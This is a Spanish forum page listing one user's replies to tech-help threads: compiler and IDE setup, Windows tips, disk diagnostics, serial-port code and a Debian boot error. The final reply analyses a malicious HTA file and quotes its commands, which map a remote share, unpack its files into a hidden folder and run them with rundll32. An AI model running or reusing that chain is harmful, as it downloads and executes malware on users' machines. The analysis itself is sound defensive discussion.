elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 235
1  Programación / Programación C/C++ / Re: borland c++ 5.5 en geany en: 26 Junio 2025, 15:55 pm
Primero debes haber cumplido la indicación 2 del readme.txt de "C:\borland\bcc55\readme.txt"

Citar
2. From the bin directory of your installation:
   a. Add "c:\Borland\Bcc55"
      to the existing path
   b. Create a bcc32.cfg file which will set
      the compiler options for the Include
      and Lib paths (-I and -L switches to
      compiler) by adding these lines:
      -I"c:\Borland\Bcc55\include"
      -L"c:\Borland\Bcc55\lib"
   c. Create an ilink32.cfg file which will set
      the linker option for the Lib path by
      adding this line:
      -L"c:\Borland\Bcc55\lib"

Tengo entendido que el paso "a" ya lo hiciste, aunque lo que se tiene que agregar al PATH es C:\borland\bcc55\bin , el paso "b" pide crear el archivo "C:\borland\bcc55\bcc32.cfg" con contenido:

Citar
-I"c:\Borland\Bcc55\include"
-L"c:\Borland\Bcc55\lib"

Ahora toca abrir Geany (cerrar y volver a abrir si ya lo tenias abierto), ir al menú "Construir" > "Establecer comandos de construcción", solo hay que cambiar el primer cuadrito que dice: gcc -wall -c "%f" por: bcc32 "%f", das en Aceptar y ya está.

Para compilar tu código te vas al menú Construir > Compile (F8), y para ejecutarlo vas a Construir > Execute (F5). Necesitas hacer ambos pasos para ver los resultados.
2  Sistemas Operativos / Windows / Re: Abrir PNG rápido con Chrome aunque esté configurado con Paint. en: 24 Junio 2025, 16:18 pm
Había probado arrastrar la imagen a la barra de inicio donde está Chrome, pero me preguntaba si quería anclarla nada más.

Presiona Shift para que cambie el comportamiento a Abrir con, en lugar de Anclar, mantén el Shift antes de soltar el click. Aunque para mí es más rápido el menú contextual



Tu menú contextual no está saturado, raro que demore tanto en abrir, salvo una primera vez que ahí si demora bastante.
3  Sistemas Operativos / Windows / Re: Abrir PNG rápido con Chrome aunque esté configurado con Paint. en: 16 Junio 2025, 17:15 pm
Citar
Es un proceso bastante lento. ¿Algo más rápido?

Más rápido que un click derecho es muy complicado. Es normal que la primera vez que haces el click derecho tarde un poco, y más normal si tienes muy sobrecargado tu click derecho (menú contextual).

Por defecto Windows tiene puesto un "Editar" en el menú contextual de las imágenes más comunes (.png, .jpg, gif, etc), ese "Editar" abre Paint con esa imagen. Cuando a un archivo le das a "Abrir con" y eliges un programa, ese programa se guarda en la lista de programas sugeridos. Para mi todo eso es bastante rápido, más, no creo que se pueda salvo que:

- Añadas un "Abrir con Chrome" bajo o sobre el "Editar", todo esto en el menú contextual, o

- Pongas a Chrome como aplicación por defecto para abrir los .PNG y hagas click derecho > "Editar" para abrirlas en Paint

---
Si tienes un menú contextual muy saturado, haz una captura para ver que tanto tienes ahí y como quitarlos (click derecho en tu imagen)
4  Informática / Hardware / Re: Ordenador 8th i7 en: 12 Junio 2025, 00:30 am
Los SSD no hacen ruido o no deberían (no tienen partes móviles), supongo que el ruido lo provoca el ventilador.

No es normal que el Disco esté con alto consumo todo el tiempo, el propio Administrador de Tareas resalta las aplicaciones que hacen uso del Disco, quizá está actualizando, o pasando el antivirus, de todas maneras eso solo debería ser un rato, no varias horas.

El estado de los Discos es mejor verlos con Victoria

1. En Drive Info (Unidades) seleccionas tu Disco
2. En SMART (S.M.A.R.T) para ver el doble diagnóstico, ambos deberían ser GOOD, si uno dice UNIDEAL es que ya está empezando a presentar errores tolerables, ambos UNIDEAL hay que considerar reemplazar ese Disco.
3. En Test & Repair (Probar/Reparar) le das clic en el botón QUICK, eso hace un test rápido con gráfica, no debería tardar más de 2 minutos, los SSD deberían de tener una gráfica lo más lineal posible, si hay picos bajos muy pronunciados implica que ya tiene desgaste. Los HDD deberían presentar una gráfica horizontal con ligera caída, igualmente si presenta picos importantes implica desgaste y sectores lentos.

Debajo del botón QUICK están los sectores en colores, un Disco en perfecto estado solo mostrará los de color blanco, uno ya con desgaste mostrará los de color gris, si tiene sectores reasignados presentará sectores de color verde y son tolerables pero no valdrá la pena comprar uno así, los de color naranja y rojo ya son graves, recomendaría reemplazar porque ese Disco tendrá cuelgues, los azules son errores críticos que implican desconexión, ese si se tiene que hacer backup y reemplazar porque en cualquier momento o con seguirlo utilizando puede dejar de funcionar.

---
Victoria 5.37 - Portable en Español
https://mega.nz/file/95gAlRYQ#RMz1IZzXqpYO79TRPvuSr3TmwZgnx-dktcR0Ca15rNQ



5  Programación / Programación Visual Basic / Re: Usar el Scroll del mouse en VB6 en: 23 Mayo 2025, 15:55 pm
Sigo sin poder utilizar el scroll en el ide, es una pc nueva y instale hace muy poco el vb6, no se si tendra algo que ver que es windows 10 pro.
Podrias ayudarme, he intentado con varias dll, tanto el VB6IDEMouseWheelAddin.dll o VB6WHEX.dll por ahi alguna otra que encontrado por ahi en la net. Podrian darme alguna otra solucion?

Acabo de probar este: https://github.com/jjbott/VB6ScrollWheelFix/releases/download/1.8/VB6ScrollwheelFix_1.8.zip

Lo extraje en la carpeta donde está el ejecutable VB6.EXE, ejecuté el VB6ScrollwheelFix.exe y luego inicié VB6.EXE, funciona correctamente en mi Windows 10 21H2
6  Programación / Programación General / Re: Ayuda con un nuevo proyecto. Timbre inteligente QR en: 18 Mayo 2025, 19:01 pm
Los QR son "locales", cuando alguien lo escanea no va a dar aviso a nadie directamente, si el QR corresponde a un enlace y el usuario acepta ir a ese enlace ya es diferente, por ejemplo puedes montar un servidor web que reciba la petición mediante el enlace accedido por el QR y que te envíe un mensaje, correo, etc. Esa misma base es la que seguramente utilizan todos los servicios de timbres del mismo estilo, requerirán Internet y un servicio web

Estás seguro que no te sirve alguno inalámbrico convencional, estos usan frecuencias de radio bajas (~500MHz) que tranquilamente traspasan paredes, si la señal WiFi llega (2.4GHz), con mucha más razón una de baja frecuencia. Solo hay que conseguir uno de calidad regular, de esos que al menos tienen batería buena en el emisor y corriente convencional en el receptor, suelen llegar unos 300mts en área abierta

https://amzn.eu/d/dcKLPjf
7  Programación / .NET (C#, VB.NET, ASP) / Re: Leer bien los datos recibidos. en: 17 Mayo 2025, 19:55 pm
Cambia tu línea 55:

Código
  1. string data = puertoSerie.ReadExisting();  // Usamos ReadExisting para leer todo

por:

Código
  1. string data = puertoSerie.ReadTo("\r");

Si usas ReadExisting como dice, lees lo que haya hasta ese momento y lo imprimes, por eso a veces sale en trozos

Si usas ReadTo("\r") lees hasta encontrar "\r" y recién imprimes

Si te das cuenta en RealTerm cuando envías el comando y empieza a mostrar el resultado, a veces también tiene un retardo y sale en trozos, pero como está todo seguido (sin saltos de línea) no se ve al finalizar, tu código si pone saltos de línea al imprimir los trozos y por eso se ve raro
8  Programación / Programación C/C++ / Re: configurar codeblock para compilar allegro en: 14 Mayo 2025, 01:36 am
Te lo muestro con DevC++ de Embarcadero, Codeblocks es muy pesado para mí.

https://github.com/Embarcadero/Dev-Cpp/releases/download/v6.3/Embarcadero_Dev-Cpp_6.3_TDM-GCC_9.2_Portable.7z

Pesa 70MB y ya trae el compilador

Descargas también Allegro:

https://github.com/liballeg/allegro5/releases/download/5.2.10.1/allegro-x86_64-w64-mingw32-gcc-14.2.0-posix-seh-dynamic-5.2.10.0.zip

1. Extraes DevC++ y Allegro, dentro de DevC++ tienes la carpeta del compilador: TDM-GCC-64 y dentro están las carpetas bin, include y lib; Allegro también tiene esas carpetas, solo tienes que pegar las carpetas que trae Allegro al de TDM-GCC-64 para unirlas

2. Crea un archivo con DevC++ (File > New > Source File), por tu código o uno sencillo para hacer la prueba, por ejemplo en la Wiki de Allegro prueban con:

Código
  1. #include <allegro5/allegro5.h>
  2. #include <allegro5/allegro_font.h>
  3. #include <stdbool.h>
  4.  
  5. int main()
  6. {
  7.    al_init();
  8.    al_install_keyboard();
  9.  
  10.    ALLEGRO_TIMER* timer = al_create_timer(1.0 / 30.0);
  11.    ALLEGRO_EVENT_QUEUE* queue = al_create_event_queue();
  12.    ALLEGRO_DISPLAY* disp = al_create_display(320, 200);
  13.    ALLEGRO_FONT* font = al_create_builtin_font();
  14.  
  15.    al_register_event_source(queue, al_get_keyboard_event_source());
  16.    al_register_event_source(queue, al_get_display_event_source(disp));
  17.    al_register_event_source(queue, al_get_timer_event_source(timer));
  18.  
  19.    bool redraw = true;
  20.    ALLEGRO_EVENT event;
  21.  
  22.    al_start_timer(timer);
  23.    while(1)
  24.    {
  25.        al_wait_for_event(queue, &event);
  26.  
  27.        if(event.type == ALLEGRO_EVENT_TIMER)
  28.            redraw = true;
  29.        else if((event.type == ALLEGRO_EVENT_KEY_DOWN) || (event.type == ALLEGRO_EVENT_DISPLAY_CLOSE))
  30.            break;
  31.  
  32.        if(redraw && al_is_event_queue_empty(queue))
  33.        {
  34.            al_clear_to_color(al_map_rgb(0, 0, 0));
  35.            al_draw_text(font, al_map_rgb(255, 255, 255), 0, 0, 0, "Hello world!");
  36.            al_flip_display();
  37.  
  38.            redraw = false;
  39.        }
  40.    }
  41.  
  42.    al_destroy_font(font);
  43.    al_destroy_display(disp);
  44.    al_destroy_timer(timer);
  45.    al_destroy_event_queue(queue);
  46.  
  47.    return 0;
  48. }

3. Ahora solo tienes que indicarle a DevC++ que añada librerías que necesitará Allegro, en el ejemplo se usa el propio Allegro (obligatorio) y la librería Font. Para esto en DevC++ te vas a Tools > Compiler Options, en el apartado General te mostrará dos cuadros de texto grandes para poner las instrucciones, te sitúas en el de abajo ya que corresponde al Linker, ya está marcado y por defecto viene puesto:

Código:
-static-libgcc

Ahi agregas las librerías Allegro y Font, quedaría así (copia y pega, o ten cuidado con los espacios):

Código:
-static-libgcc -lallegro -lallegro_font

4. Listo, dale a Execute > Compile & Run, guarda el archivo debería funcionar bien.

Solo recuerda añadir las librerías que vayas a utilizar en tu proyecto (-lallegro -lallegro_font), seguramente serán muchas más.

Si tienes otro IDE como CodeBlocks debería tener opciones similares, como ves es muy sencillo, copiar/pegar Allegro (bin, include y lib) a la carpeta del compilador que estés usando, y añadir las librerías que incluyas también al Linker (-lallegro -lallegro_font -lxxxxx).

Recuerda que si tu compilador es de 64-bit, también lo debe ser Allegro, para mi ejemplo utilicé y puse las descargas de los de 64-bit, aunque ese DevC++ permite trabajar tanto con 64-bit como con 32-bit pero ya tendrías que pegar las carpetas en otro lado, dudo que estés en un sistema de 32-bit pero si es el caso o tienes otros problemas comenta.
9  Sistemas Operativos / GNU/Linux / Re: Error: AE NOT FOUND, while el arrancar debian12 en: 13 Mayo 2025, 01:32 am
El error ACPI debe ser por falta de un driver de gestión de energía pero no debería ser problema para que inicies sesión

Linux siempre te oculta las contraseñas que tecleas en la consola, es normal que no veas nada y parezca que no estás escribiendo pero en realidad si estás escribiendo, escribe tu contraseña y presiona Enter.

El Debian que estás instalando es dependiente de Internet (por eso pesa tan poco), si no lo conectas a Internet o evitas la instalación completa tendrás una pantalla negra donde solo puedes ejecutar comandos. Descarga la versión completa o reinstala permitiendo la conexión a Internet y la descarga de los demás componentes como la interfaz gráfica y demás programas típicos como la calculadora, Libre Office, Firefox, etc

Si estás conectado a Internet y permites la instalación de los demás componentes te preguntará la interfaz gráfica a instalar, si buscas buen rendimiento y apariencia razonable elige Xfce, si quieres todo rendimiento tienes Lxqt, elige cualquiera de las demás (Gnome, KDE o Mate) si quieres un escritorio y ventanas más bonitas y animadas a cambio de algo más de consumo de recursos.



----
Versión DVD completa de Debian 12.10.0-1386 (por si no puedes conectarte a internet al instalar)
https://cdimage.debian.org/debian-cd/current/i386/iso-dvd/debian-12.10.0-i386-DVD-1.iso
10  Seguridad Informática / Análisis y Diseño de Malware / Re: Nuevo malware via archivo HTA en: 10 Mayo 2025, 04:37 am
los hta son un peligro, puedes ejecutar comandos CMD ahí mismo y con eso haces de todo

Por lo que vi hace un "net use" para añadir una carpeta compartida desde Internet, luego descomprime lo que hay en esa carpeta compartida en otra carpeta oculta que crea en C:\, y empieza a ejecutar todo eso que descomprimió.

"C:\Windows\System32\cmd.exe" /c timeout 135 && forfiles /p c:\bv\ /m *.* /s /c "cmd /c rundll32 @path,ejm"

"C:\Windows\System32\cmd.exe" /c md c:\bv && attrib +h c:\bv && net use n: \\1p.si@ssltxf\t && forfiles /p n:\ /m *.* /s /c "cmd /c expand -r @path c:\bv" && net use n: /d /y
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 235
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines